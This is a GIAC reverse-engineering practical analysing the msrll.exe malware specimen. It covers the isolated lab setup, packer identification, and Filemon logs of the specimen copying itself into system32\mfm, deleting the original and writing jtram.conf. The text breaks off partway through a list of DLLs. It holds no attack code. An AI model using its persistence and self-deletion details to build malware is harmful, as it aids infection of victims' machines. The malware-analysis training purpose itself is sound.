Fight crime.
Unravel incidents... one byte at a time.

Interested in learning more?
Check out the list of upcoming events offering
"Advanced Incident Response, Threat Hunting, and Digital Forensics (FOR508)"
Malware Analysis of msrll.exe
GIAC GREM Practical Assignment
Version 1.0

Completed in partial fulfillment of
GIAC Reverse Engineering Malware (GREM)

Gregory Leibolt
SANS – Online ILOT REM
October 1, 2004
Table of Contents

Abstract ........................................................................................................ 3
Malware Laboratory Setup ........................................................................... 3
Properties of the Malware Specimen ............................................................ 4
   Analysis of the msrl.zip and msrl.exe files under Linux: .......................... 5
   Analysis of the msrl.zip and msrl.exe files under Windows 2000: .......... 6
Behavioral Analysis ...................................................................................... 9
   Filesystem Analysis: ............................................................................. 10
   Registry Analysis: ............................................................................... 15
   Network Analysis: ............................................................................... 17
Code Analysis ............................................................................................. 20
   Netcat session on port 2200: ............................................................... 25
   Msrll.exe Commands: ........................................................................ 27
   Passwords for msrll.exe: ..................................................................... 32
   IRC Clones: ....................................................................................... 33
   Using an IRC client to connect to port 2200: ....................................... 36
   Boot-up Activation: ........................................................................... 39
Analysis Wrap-Up ....................................................................................... 40
   Purpose of msrll.exe: ....................................................................... 41
   Msrll.exe activation: .......................................................................... 41
   Mitigation and removal: ...................................................................... 42
   Removing entries from the registry: .................................................. 42
   Removing directories and files: .......................................................... 43
   Unresolved questions: ....................................................................... 43
List of References ........................................................................................ 44
Abstract

The purpose of this practical was to demonstrate the analytical process and methodology involved in analyzing an unknown malware specimen. The analysis must be performed in a safe environment, or laboratory, that would ensure no infection of, or damage to, any external systems. The laboratory must also use appropriate tools to monitor, interact with and control the malware specimen during behavioral analysis. The malware code and its behavior was reviewed with hex editors, debuggers and other tools as needed.

A thorough review of the specimen provided an over-all understanding of the function, purpose, and capabilities of the malware. With the knowledge gained through analysis, recommendations on the protection and removal of the malware specimen could be offered.

Malware Laboratory Setup

Since the purpose and function of the malware specimen was unknown, a special laboratory setup was required that isolated and controlled the activity of the specimen. Though this environment must protect all external networks and computers, it must also provide enough functionality to allow the malware to run as it would in the “wild.”

The test environment of choice was VMware because it could support multiple hosts, running multiple operating systems, and an isolated network. This same environment was used in the "Reverse-Engineering Malware: Tools and Techniques Hands-On" training class and also selected to be used for this practical.

The laboratory setup was as follows:

The Host:
An IBM ThinkPad T23 running Windows 2000 Service pack 4 with updated security patches was the host. Norton Firewall was used, as an extra measure, to protect the host from the VMware network. The local network interface was disabled and the computer was physically disconnected from all physical networks. This system had no any built-in or PCMCIA wireless capability. It used an 866 megahertz Intel Pentium III, had a 21.13 Gigabyte usable hard drive partition capacity and had a 640 Megabyte installed memory.

The VMware network interfaces were VMware Virtual Ethernet Adapter for VMnet1 and VMware Virtual Ethernet Adapter for VMnet8.
VMware 4.5 was installed on the host and it supported three virtual systems:

1. Linux Red Hat 9.0 Linux 2.4.28 kernel. This system was provided as part of the Reverse-Engineering Malware course. A “baseline” VMware snapshot was taken so the analyst could easily bring up a known, clean, working operating system at any time.

2. Windows 2000 Service pack 4 and up-to-date security patches. A “baseline” VMware snapshot was taken.

3. A second copy of Windows 2000 Service pack 4 and up-to-date security patches. A “baseline” VMware snapshot was taken.

The whole VMware environment was set up to use “Host Only” networking. This meant a private network shared with the host. A private class C RFC 1918 “reserved” network was used.

A. The IP address range was 192.168.239.0
B. The class C netmask was 255.255.255.0
C. The host IP address was 192.168.239.1
D. The VMware Windows 2000 system was 192.168.239.130
E. The VMware Red Hat Linux system was 192.168.239.131
F. The second VMware Windows 2000 system was 192.168.239.132

These “reserved” network addresses were designed to be used as internal private addresses and are considered to be un-routable addresses. The (a) use of private network addresses, (b) the host using a firewall, and (c) being disconnected from any external networks ensured isolation of the malware activity.

The VMware Windows 2000 system contained all the Windows based tools from the CD provided for the "Reverse-Engineering Malware: Tools and Techniques Hands-On" class. The VMware Linux Red Hat 9.0 system came with additional tools used for the analysis.

Once the laboratory environment was set up, network connectivity was tested to verify full network functionality, and the operating system date and times were checked.

Properties of the Malware Specimen

The Malware specimen for analysis was provided by GIAC. This specimen was downloaded from the curriculum page section 24.1.5 entitled “Malware Specimen for GREM Practical Assignment” obtained at http://www.giac.org/GREM_assignment.php. The file name was msrll.zip. After downloading the specimen to the host computer, an MD5sum hash was created to establish baseline integrity for the zip file.

C:\Security\MALWARE_Pract>md5sum msrll.zip
696c78651244b1ad0363a400a23d48ef *msrll.zip

Screenshot of MD5sum of msrll.zip on Host system
The file was then transferred to the VMware Windows 2000 system using netcat and MD5sum was used to validate the integrity of the zip file:

```
C:\Malware>md5sum msrll.zip
696c7865124b1ad0363a400a23d48ef *msrll.zip
```

Screenshot of MD5sum of msrll.zip on VMware Windows 2000 system

The file was then transferred to the VMware Linux red Hat 9.0 system using netcat. An MD5sum was used to verify integrity of the zip file:

```
[root@localhost malware]# nc -vu -l -p 1234 > msrll.zip
listening on [any] 1234 ...
192.168.239.1: inverse host lookup failed: Host name lookup failure
connect to [192.168.239.131] from (UNKNOWN) [192.168.239.11] 1352
sent 0, read 39100
[root@localhost malware]# md5sum msrll.zip
696c7865124b1ad0363a400a23d48ef msrll.zip
[root@localhost malware]# 
```

Screenshot of MD5sum of msrll.zip on VMware Linux system

Analysis of the msrll.zip and msrll.exe files under Linux:

A Linux utility called zipinfo was used to obtain information about the zip file.

```
Archive:  msrll.zip   39100 bytes   1 file
End-of-central-directory record:
--------------------
Actual offset of end-of-central-dir record: 39078 (000098A6h)
Expected offset of end-of-central-dir record: 39078 (000098A6h)
(based on the length of the central directory and its expected offset)

This zipfile constitutes the sole disk of a single-part archive; its central directory contains 1 entry. The central directory is 55 (00000037h) bytes long, and its (expected) offset in bytes from the beginning of the zipfile is 39023 (0000986Fh).

There is no zipfile comment.

Central directory entry #1:
---------------------------
msrll.exe
offset of local header from start of archive: 0 (00000000h) bytes
file system or operating system of origin: MS-DOS, OS/2 or NT FAT
version of encoding software: 2.0
minimum file system compatibility required: MS-DOS, OS/2 or NT FAT
minimum software version required to extract: 2.0
compression method: deflated
compression sub-type (deflation): maximum
file security status: encrypted
extended local header: yes
file last modified on [DOS date/time]: 2004 May 10 16:29:54
32-bit CRC value (hex): 540ec3bb
compressed size: 38968 bytes
uncompressed size: 41984 bytes
length of filename: 9 characters
length of extra field: 0 bytes
length of file comment: 0 characters
disk number on which file begins: disk 1
apparent file type: binary
non-MSDOS external file attributes: 000000 hex
MS-DOS file attributes (20 hex): arc
```

Screenshot of “zipinfo” of msrll.zip on VMware Linux system
Zipinfo showed that there was one file in the zip archive called msrll.exe. It was a DOS, OS/2 or NT FAT 2.0 file type and was last modified on May 10, 2004 at 16:29:54. There was no way of knowing what time zone applied. Lastly, msrll.exe was a binary file with an uncompressed size of 41984 bytes.

Additionally, unzip –Z was used to check the zipinfo data:

```
Archive: msrll.zip  39100 bytes  1 file
-rwxa--  2.0 fat  41984 Bl defX 10-May-04 16:29 msrll.exe
1 file, 41984 bytes uncompressed, 38956 bytes compressed:  7.2%
```

Screenshot of “unzip –Z” extraction of msrll.exe on VMware Linux system

The msrll.exe artifact was extracted using unzip with the –X option to retain the timestamps:

```
-rw-r--r--  1 root root   39100 Aug 18 03:25 msrll.zip
-rw-r--r--  1 root root  41984 May 10 16:29 msrll.exe
```

Screenshot of extracted msrll.exe file maintaining modification time stamp on VMware Linux system

An MD5sum hash was created to establish a baseline to maintain integrity of the msrll.exe file:

```
84acfe96a98590813413122c12c11aaa  msrll.exe
```

Screenshot MD5 sum hash of msrll.exe on VMware Linux system

The Linux “file” command reported msrll.exe as:

```
MS Windows PE Intel 80386 GUI executable not relocatable
```

Screenshot of “file msrll.exe” output on VMware Linux system

Analysis of the msrll.zip and msrll.exe files under Windows 2000:

WinZip 9.0 was used on the VMware Windows 2000 to evaluate the zip file and extract msrll.exe. Using WinZip to test the zip file showed that there were no errors:

```
No errors detected in compressed data of C:\malware\msrll.zip.
Testing ...
testing: msrll.exe     OK
```

Screenshot of WinZip test output

Highlighting msrll.exe and selecting file properties in WinZip showed:

```
<table>
<thead>
<tr>
<th>Name</th>
<th>msrll.exe</th>
<th>Ratio</th>
<th>7%</th>
</tr>
</thead>
<tbody>
<tr>
<td>Type</td>
<td>Application</td>
<td>Modified:</td>
<td>5/10/2004 4:29 PM</td>
</tr>
<tr>
<td>File size</td>
<td>41,984</td>
<td>Path:</td>
<td></td>
</tr>
<tr>
<td>Packed size</td>
<td>38,968</td>
<td>CRC:</td>
<td>540Ec3BB</td>
</tr>
</tbody>
</table>
```

Screenshot of WinZip output of msrll.exe.
Linux and Windows tools agreed on the statistics from msrll.zip and showed information about the zip file and the msrll.exe file. The msrll.exe file had a modification date of May 10, 2004 at 16:29:54, which meant that the analyst could possibly use this date as a reference point in the analysis. The analyst also knew that it was probably an MS Windows PE Intel executable. If the malware turned out to be a Solaris SPARC executable, for example, the analyst’s lab environment would have needed to change.

“Bintext” by Foundstone Inc. was used to extract strings from the msrll.exe file. Strings in binary files often provide insight on the identity and nature of a program.

There was little readable information available from the strings output. A few strings appeared to be related to libraries and modules:

```
<table>
<thead>
<tr>
<th>File pos</th>
<th>Mem pos</th>
<th>ID</th>
<th>Text</th>
</tr>
</thead>
<tbody>
<tr>
<td>000009271</td>
<td>0051D071</td>
<td>0</td>
<td>VirtualAlloc</td>
</tr>
<tr>
<td>0000927E</td>
<td>0051D07E</td>
<td>0</td>
<td>VirtualFree</td>
</tr>
<tr>
<td>00009641</td>
<td>0051D41</td>
<td>0</td>
<td>kernel32.dll</td>
</tr>
<tr>
<td>0000964E</td>
<td>0051D44E</td>
<td>0</td>
<td>ExitProcess</td>
</tr>
<tr>
<td>0000965A</td>
<td>0051D45A</td>
<td>0</td>
<td>user32.dll</td>
</tr>
<tr>
<td>00009665</td>
<td>0051D465</td>
<td>0</td>
<td>MessageBoxA</td>
</tr>
<tr>
<td>00009671</td>
<td>0051D471</td>
<td>0</td>
<td>wprintf</td>
</tr>
<tr>
<td>0000A17B</td>
<td>0051D07B</td>
<td>0</td>
<td>GetProcAddress</td>
</tr>
<tr>
<td>0000A18C</td>
<td>0051D08C</td>
<td>0</td>
<td>GetModuleHandleA</td>
</tr>
<tr>
<td>0000A19F</td>
<td>0051D09F</td>
<td>0</td>
<td>LoadLibraryA</td>
</tr>
<tr>
<td>0000A274</td>
<td>0051E074</td>
<td>0</td>
<td>advapi32.dll</td>
</tr>
<tr>
<td>0000A28C</td>
<td>0051E08C</td>
<td>0</td>
<td>msvort.dll</td>
</tr>
<tr>
<td>0000A297</td>
<td>0051E097</td>
<td>0</td>
<td>shell32.dll</td>
</tr>
<tr>
<td>0000A2A3</td>
<td>0051E0A3</td>
<td>0</td>
<td>user32.dll</td>
</tr>
<tr>
<td>0000A2AE</td>
<td>0051E0AE</td>
<td>0</td>
<td>version.dll</td>
</tr>
<tr>
<td>0000A2BA</td>
<td>0051E0BA</td>
<td>0</td>
<td>wininet.dll</td>
</tr>
<tr>
<td>0000A2C6</td>
<td>0051E0C6</td>
<td>0</td>
<td>ws2_32.dll</td>
</tr>
<tr>
<td>0000A313</td>
<td>0051E113</td>
<td>0</td>
<td>AdjustTokenPrivileges</td>
</tr>
</tbody>
</table>
```

There were also some strings right at the top that caught the analyst’s attention:

```
<table>
<thead>
<tr>
<th>File pos</th>
<th>Mem pos</th>
<th>ID</th>
<th>Text</th>
</tr>
</thead>
<tbody>
<tr>
<td>0000004D</td>
<td>0040004D</td>
<td>0</td>
<td>!This program cannot be run in DOS mode.</td>
</tr>
<tr>
<td>00000178</td>
<td>00400178</td>
<td>0</td>
<td>.text</td>
</tr>
<tr>
<td>000001A0</td>
<td>004001A0</td>
<td>0</td>
<td>.data</td>
</tr>
<tr>
<td>000001F0</td>
<td>004001F0</td>
<td>0</td>
<td>.idata</td>
</tr>
<tr>
<td>00000218</td>
<td>00400218</td>
<td>0</td>
<td>.aspack</td>
</tr>
<tr>
<td>00000240</td>
<td>00400240</td>
<td>0</td>
<td>.adata</td>
</tr>
</tbody>
</table>
```

The string “.aspack” was noted. This was an unusual assembler section name so a quick search on google® from a non-laboratory system lead to a web site located at http://www.woodmann.com/crackz/Packers.htm.
The following information about ASPack was on the site:

```
“ASPack & ASProtect - http://www.entechtaiwan.com/aspack.htm - A very competent Win32 compressor by Russian author Alexey Solodovnikov, note this useful snippet "After compression of the executable image, ASPack writes a small decompressor and places icons at the end of the compressed file. The address of the application's entry point is set to the beginning of the decompressor, and the original entry point is saved. After the decompressor decompresses the image in memory, it jumps to the application's original entry point" (common sections include .adata / .udata / .aspack).”

This information leads one to believe that the msrll.exe file is possibly an ASPack packed executable. Note, however, that .udata was not part of msrll.exe.

A visit to the official ASPack website seemed in order. Clicking on http://www.entechtaiwan.com/aspack.htm was redirected to http://www.aspack.com/ where a description of the program is provided:

“What is ASPack?
ASPack is an advanced Win32 executable file compressor, capable of reducing the file size of 32-bit Windows programs by as much as 70%. (ASPack's compression ratio improves upon the industry-standard zip file format by as much as 10-20%). ASPack makes Windows 95/98/NT programs and libraries smaller, and decrease load times across networks, and download times from the internet; it also protects programs against reverse engineering by non-professional hackers. Programs compressed with ASPack are self-contained and run exactly as before, with no runtime performance penalties.

ASPack Features
advanced processing of executable files (exe, dll, ocx)
encoding and compression of program code, data, and resources
completely transparent, self-contained operation with long filename support
fast decompression routines deliver better performance than competing products
integrates directly into Windows as a shell extension for ease of use
full Windows 95, Windows 98 and Windows NT compatibility

ASPack Benefits
significant reduction in executable file sizes, averaging from 40-70%
decrease load times across networks, and download times from the internet
embedded Windows applications require significantly less storage space
protects resources and code against peeking, disassemblers and decompilers
no runtime royalties for distributing compressed programs
compatible with executables created by Microsoft Visual C++, Visual Basic, Inprise (Borland) Delphi and C++ Builder, and other Win32 compilers”
```

Many “packers,” attempt to protect the program from being analyzed. In this case the comment “it also protects programs against reverse engineering by non-professional hackers.” was made. If it turns out that ASPack was used, analysis of msrll.exe could be more difficult.

ASPack v2.12 was downloaded from the web site to then used on msrll.exe. It reported the following:
ASPack appeared to recognize its own work!

Behavioral Analysis

The Administrator account was used on the VMware Windows 2000 system so that all monitoring tools would have full access to system resources and the malware could run unrestricted.

Before running the malware artifact, several steps were performed to set up baselines and monitoring processes. These steps are described below:

1. Made a copy of msrll.exe called “Copy of msrll.exe.”
2. Verified that it was an exact copy:

   ![Screenshot of msrll.exe and 'Copy of msrll.exe' MD5sum hashes](image)

3. A snapshot of network services and connections was taken using the command, “netstat –a > netstat.before.”
4. Regshot v1.61e5 was used to take a snapshot of a clean registry.
5. Norton Personal Firewall was running on the Host system to protect it from any unwanted network activity on the 192.168.239.0 network.
6. Packetyzer Sniffer v0.6.7 was started on the Host system’s VMnet1 network interface to capture traffic on the 192.168.239.0 network.
7. Several tools from SysInternals were activated:
   a. Filemon v6.07– which monitors file system activity on a system in real-time, was started to help identify file activity performed by msrll.exe.
   b. Regmon v6.06– which shows applications accessing the Registry, the keys they are accessing, and the Registry data that they are reading and writing, was started.
   c. TDImon v1.0– which monitors all TCP and UDP activity, was started.
   d. TCPview v2.34– which also monitors network activity, was started.
8. The Task Manager was launched using Ctrl-Alt-Insert keys to view processes.
9. “Copy of msrll.exe” was executed by right clicking on it and selecting Open.
10. All the different monitoring tools were watched for activity relating to msrll.exe.
11. Regshot v1.61e5 was then used to take a snapshot of a possibly changed registry.
12. “netstat –a > netstat.after” was used to log network activity after msrll.exe ran.
13. TCPview information was saved to a file called TCPview.after.
14. The Task Manager was used to kill the msrll.exe process after running for 5 minutes.
15. All the SysInternal monitoring tools were stopped and output was saved to files.
16. Regshot was then used to compare snapshots of the registry.
17. The VMware Windows 2000 system was then re-booted.

While the “Copy of msrll.exe” file was running, the Task Manager window suddenly showed no process running as “Copy of msrll.exe.” There was, however, a process called msrll.exe as seen in the screenshot graphic below:

![Screenshot Task Manager session of msrll.exe](image)

After running “Copy of msrll.exe,” the explorer window showed that the file “Copy of msrll.exe” was suddenly deleted from the C:\malware directory, where it was located.

**Filesystem Analysis:**

Filemon showed considerable filesystem activity related to msrll.exe. Some files were created by msrll.exe. The Filemon log output is reviewed below:

**A directory called mfm was created:**

```
182 2:48:15 PM Copy of msrll.exe:760 CREATE C:\WINNT\system32\mfm SUCCESS Options: Create Directory Access: All
```

**A file called msrll.exe was created and written:**

```
191 2:48:15 PM Copy of msrll.exe:760 CREATE C:\WINNT\system32\mfm\msrll.exe SUCCESS Options: OverwriteIfSequential Access: All
194 2:48:16 PM Copy of msrll.exe:760 WRITE C:\WINNT\system32\mfm\msrll.exe SUCCESS Offset: 0 Length: 41984
```
Later, it was opened, read and closed:

<table>
<thead>
<tr>
<th>Time</th>
<th>Event</th>
</tr>
</thead>
<tbody>
<tr>
<td>2:48:17 PM</td>
<td>Copy of msrll.exe:760 OPEN C:\WINNT\system32\mfm\msrll.exe SUCCESS Options: Open Access: All</td>
</tr>
<tr>
<td>2:48:17 PM</td>
<td>Copy of msrll.exe:760 QUERY INFORMATION C:\WINNT\system32\mfm\msrll.exe SUCCESS Attributes: A</td>
</tr>
<tr>
<td>2:48:17 PM</td>
<td>Copy of msrll.exe:760 SET INFORMATION C:\WINNT\system32\mfm\msrll.exe SUCCESS FileBasicInformation</td>
</tr>
<tr>
<td>2:48:17 PM</td>
<td>Copy of msrll.exe:760 READ C:\WINNT\system32\mfm\msrll.exe SUCCESS Offset: 0 Length: 64</td>
</tr>
<tr>
<td>2:48:17 PM</td>
<td>Copy of msrll.exe:760 READ C:\WINNT\system32\mfm\msrll.exe SUCCESS Offset: 128 Length: 64</td>
</tr>
<tr>
<td>2:48:17 PM</td>
<td>Copy of msrll.exe:760 READ C:\WINNT\system32\mfm\msrll.exe SUCCESS Offset: 200 Length: 4</td>
</tr>
<tr>
<td>2:48:17 PM</td>
<td>Copy of msrll.exe:760 READ C:\WINNT\system32\mfm\msrll.exe SUCCESS Offset: 220 Length: 4</td>
</tr>
<tr>
<td>2:48:17 PM</td>
<td>Copy of msrll.exe:760 CLOSE C:\WINNT\system32\mfm\msrll.exe SUCCESS</td>
</tr>
</tbody>
</table>

Filemon log file output related to msrll.exe

This happened again:

<table>
<thead>
<tr>
<th>Time</th>
<th>Event</th>
</tr>
</thead>
<tbody>
<tr>
<td>300</td>
<td>Copy of msrll.exe:760 OPEN C:\WINNT\system32\mfm\msrll.exe SUCCESS Options: Open Access: Execute</td>
</tr>
<tr>
<td>301</td>
<td>Copy of msrll.exe:760 QUERY INFORMATION C:\WINNT\system32\mfm\msrll.exe SUCCESS Length: 41984</td>
</tr>
<tr>
<td>302</td>
<td>Copy of msrll.exe:760 CLOSE C:\WINNT\system32\mfm\msrll.exe SUCCESS</td>
</tr>
</tbody>
</table>

Filemon log file output related to msrll.exe

Next “Copy of msrll.exe” ended all file activity and a new process was started that took over. This new process was C:\WINNT\system32\mfm\msrll.exe:

<table>
<thead>
<tr>
<th>Time</th>
<th>Event</th>
</tr>
</thead>
<tbody>
<tr>
<td>318</td>
<td>msrll.exe:488 DELETE C:\malware\Copy of msrll.exe SUCCESS</td>
</tr>
</tbody>
</table>

C:\WINNT\system32\mfm\msrll.exe actually deleted “Copy of msrll.exe:”
One file that `msrll.exe` looked for was `jtram.conf`. Not finding it, it then created it:

<table>
<thead>
<tr>
<th>Time</th>
<th>Process</th>
<th>Event Type</th>
<th>File Path</th>
<th>Result</th>
<th>Options</th>
<th>Access</th>
</tr>
</thead>
<tbody>
<tr>
<td>496</td>
<td>msrll.exe</td>
<td>OPEN</td>
<td>C:\WINNT\system32\mfm\jtram.conf</td>
<td>FILE NOT FOUND</td>
<td>Open</td>
<td>All</td>
</tr>
<tr>
<td>766</td>
<td>msrll.exe</td>
<td>OPEN</td>
<td>C:\WINNT\system32\mfm\jtram.conf</td>
<td>FILE NOT FOUND</td>
<td>Open</td>
<td>All</td>
</tr>
<tr>
<td>767</td>
<td>msrll.exe</td>
<td>CREATE</td>
<td>C:\WINNT\system32\mfm\jtram.conf</td>
<td>SUCCESS</td>
<td>OverwriteIf</td>
<td>All</td>
</tr>
</tbody>
</table>

There appeared to be some cryptographic function activity:

<table>
<thead>
<tr>
<th>Time</th>
<th>Process</th>
<th>Event Type</th>
<th>File Path</th>
<th>Result</th>
<th>Options</th>
<th>Access</th>
</tr>
</thead>
<tbody>
<tr>
<td>774</td>
<td>msrll.exe</td>
<td>OPEN</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>SUCCESS</td>
<td>Open</td>
<td>All</td>
</tr>
<tr>
<td>775</td>
<td>msrll.exe</td>
<td>QUERY INFORMATION</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>776</td>
<td>msrll.exe</td>
<td>READ</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>SUCCESS</td>
<td>Offset: 0</td>
<td></td>
</tr>
<tr>
<td>777</td>
<td>msrll.exe</td>
<td>READ</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>SUCCESS</td>
<td>Offset: 300</td>
<td></td>
</tr>
<tr>
<td>778</td>
<td>msrll.exe</td>
<td>READ</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>SUCCESS</td>
<td>Offset: 4096</td>
<td></td>
</tr>
<tr>
<td>779</td>
<td>msrll.exe</td>
<td>READ</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>SUCCESS</td>
<td>Offset: 8492</td>
<td></td>
</tr>
<tr>
<td>780</td>
<td>msrll.exe</td>
<td>READ</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>SUCCESS</td>
<td>Offset: 125792</td>
<td></td>
</tr>
<tr>
<td>781</td>
<td>msrll.exe</td>
<td>READ</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>SUCCESS</td>
<td>Offset: 129888</td>
<td></td>
</tr>
<tr>
<td>782</td>
<td>msrll.exe</td>
<td>READ</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>SUCCESS</td>
<td>Offset: 4396</td>
<td></td>
</tr>
<tr>
<td>783</td>
<td>msrll.exe</td>
<td>READ</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>SUCCESS</td>
<td>Offset: 64096</td>
<td></td>
</tr>
<tr>
<td>784</td>
<td>msrll.exe</td>
<td>READ</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>SUCCESS</td>
<td>Offset: 125792</td>
<td></td>
</tr>
<tr>
<td>785</td>
<td>msrll.exe</td>
<td>READ</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>SUCCESS</td>
<td>Offset: 129888</td>
<td></td>
</tr>
</tbody>
</table>

… Cut Sort for Brevity. The Cryptographic Process Continued…

<table>
<thead>
<tr>
<th>Time</th>
<th>Process</th>
<th>Event Type</th>
<th>File Path</th>
<th>Result</th>
<th>Options</th>
<th>Access</th>
</tr>
</thead>
<tbody>
<tr>
<td>808</td>
<td>msrll.exe</td>
<td>READ</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>SUCCESS</td>
<td>Offset: 0</td>
<td></td>
</tr>
<tr>
<td>809</td>
<td>msrll.exe</td>
<td>READ</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>SUCCESS</td>
<td>Offset: 300</td>
<td></td>
</tr>
<tr>
<td>810</td>
<td>msrll.exe</td>
<td>CLOSE</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>SUCCESS</td>
<td>Attributes: A</td>
<td></td>
</tr>
<tr>
<td>811</td>
<td>msrll.exe</td>
<td>CLOSE</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>SUCCESS</td>
<td>Attributes: A</td>
<td></td>
</tr>
<tr>
<td>812</td>
<td>msrll.exe</td>
<td>QUERY INFORMATION</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>813</td>
<td>msrll.exe</td>
<td>QUERY INFORMATION</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>814</td>
<td>msrll.exe</td>
<td>OPEN</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>SUCCESS</td>
<td>Options:</td>
<td></td>
</tr>
<tr>
<td>815</td>
<td>msrll.exe</td>
<td>CLOSE</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>SUCCESS</td>
<td>Attributes: Error</td>
<td></td>
</tr>
<tr>
<td>816</td>
<td>msrll.exe</td>
<td>QUERY INFORMATION</td>
<td>C:\WINNT\system32\mfm\CRYPT32.dll</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>817</td>
<td>msrll.exe</td>
<td>QUERY INFORMATION</td>
<td>C:\WINNT\system32\mfm\CRYPT32.dll</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>818</td>
<td>msrll.exe</td>
<td>QUERY INFORMATION</td>
<td>C:\WINNT\system32\CRYPT32.dll</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>819</td>
<td>msrll.exe</td>
<td>OPEN</td>
<td>C:\WINNT\system32\CRYPT32.dll</td>
<td>SUCCESS</td>
<td>Options:</td>
<td></td>
</tr>
<tr>
<td>820</td>
<td>msrll.exe</td>
<td>CLOSE</td>
<td>C:\WINNT\system32\CRYPT32.dll</td>
<td>SUCCESS</td>
<td>Options:</td>
<td></td>
</tr>
</tbody>
</table>

… Cut Short for Brevity. This Offset Reading Continued …

<table>
<thead>
<tr>
<th>Time</th>
<th>Process</th>
<th>Event Type</th>
<th>File Path</th>
<th>Result</th>
<th>Options</th>
<th>Access</th>
</tr>
</thead>
<tbody>
<tr>
<td>839</td>
<td>msrll.exe</td>
<td>READ</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>SUCCESS</td>
<td>Offset: 0</td>
<td></td>
</tr>
<tr>
<td>840</td>
<td>msrll.exe</td>
<td>READ</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>SUCCESS</td>
<td>Offset: 300</td>
<td></td>
</tr>
</tbody>
</table>

After the offset reading of `rsabase.dll` there were many attempts to open `/dev/random`:

<table>
<thead>
<tr>
<th>Time</th>
<th>Process</th>
<th>Event Type</th>
<th>File Path</th>
<th>Result</th>
<th>Options</th>
<th>Access</th>
</tr>
</thead>
<tbody>
<tr>
<td>873</td>
<td>msrll.exe</td>
<td>CLOSE</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>SUCCESS</td>
<td>Attributes: Error</td>
<td></td>
</tr>
<tr>
<td>874</td>
<td>msrll.exe</td>
<td>OPEN</td>
<td>C:\dev\random</td>
<td>PATH NOT FOUND</td>
<td>Open Access</td>
<td>All</td>
</tr>
<tr>
<td>875</td>
<td>msrll.exe</td>
<td>OPEN</td>
<td>C:\dev\random</td>
<td>PATH NOT FOUND</td>
<td>Open Access</td>
<td>All</td>
</tr>
</tbody>
</table>
There were also multiple writes to the jtram.conf file:

<table>
<thead>
<tr>
<th>Time</th>
<th>Process</th>
<th>Event</th>
<th>File</th>
<th>Offset</th>
<th>Length</th>
</tr>
</thead>
<tbody>
<tr>
<td>888</td>
<td>msrll.exe</td>
<td>WRITE</td>
<td>C:\WINNT\system32\mfm\jtram.conf</td>
<td>0</td>
<td>53</td>
</tr>
<tr>
<td>899</td>
<td>msrll.exe</td>
<td>WRITE</td>
<td>C:\WINNT\system32\mfm\jtram.conf</td>
<td>53</td>
<td>53</td>
</tr>
<tr>
<td>914</td>
<td>msrll.exe</td>
<td>WRITE</td>
<td>C:\WINNT\system32\mfm\jtram.conf</td>
<td>106</td>
<td>53</td>
</tr>
<tr>
<td>915</td>
<td>msrll.exe</td>
<td>WRITE</td>
<td>C:\WINNT\system32\mfm\jtram.conf</td>
<td>159</td>
<td>1</td>
</tr>
<tr>
<td>931</td>
<td>msrll.exe</td>
<td>WRITE</td>
<td>C:\WINNT\system32\mfm\jtram.conf</td>
<td>160</td>
<td>53</td>
</tr>
</tbody>
</table>

... Cut Short for Brevity. Writing to jtram Continued ...

Finally it was closed:

<table>
<thead>
<tr>
<th>Time</th>
<th>Process</th>
<th>Event</th>
<th>File</th>
<th>Offset</th>
<th>Length</th>
</tr>
</thead>
<tbody>
<tr>
<td>1108</td>
<td>msrll.exe</td>
<td>CLOSE</td>
<td>C:\WINNT\system32\mfm\jtram.conf</td>
<td>0</td>
<td></td>
</tr>
</tbody>
</table>

The last thing noticed was a check on an index.dat file:

<table>
<thead>
<tr>
<th>Time</th>
<th>Process</th>
<th>Event</th>
<th>File</th>
<th>Offset</th>
<th>Length</th>
</tr>
</thead>
<tbody>
<tr>
<td>1139</td>
<td>msrll.exe</td>
<td>QUERY</td>
<td>C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat</td>
<td>0</td>
<td>32768</td>
</tr>
<tr>
<td>1140</td>
<td>msrll.exe</td>
<td>QUERY</td>
<td>C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat</td>
<td>0</td>
<td></td>
</tr>
</tbody>
</table>

The msrll.exe process also looked for a wide variety of dll files. Analysis of the dll files provided some insight about msrll.exe. Information about some of the more interesting dll files is described below.

Most of the description information was obtained from:

1. OPEN C:\WINNT\system32\ws2_32.dll
   Description: File that contains the Windows Sockets API used by most Internet and network applications to handle network connections.

2. OPEN C:\WINNT\System32\shell32.dll
   Description: File that contains the Windows Shell API functions used to open web pages and documents and to obtain information about file associations.

3. OPEN C:\WINNT\system32\MSI.dll
   Description: File that contains functions used to install MSI (Microsoft Installer) packages.

4. OPEN C:\WINNT\system32\msafd.dll
   Description: Microsoft Windows Sockets 2.0 transport service provider for transport, exposing the TDI interface, currently TCP/IP.

5. OPEN C:\WINNT\system32\RASAPI32.dll
   Description: Remote Access API (RAS), used by Windows applications to control modem connections.

6. OPEN C:\WINNT\system32\USERENV.dll
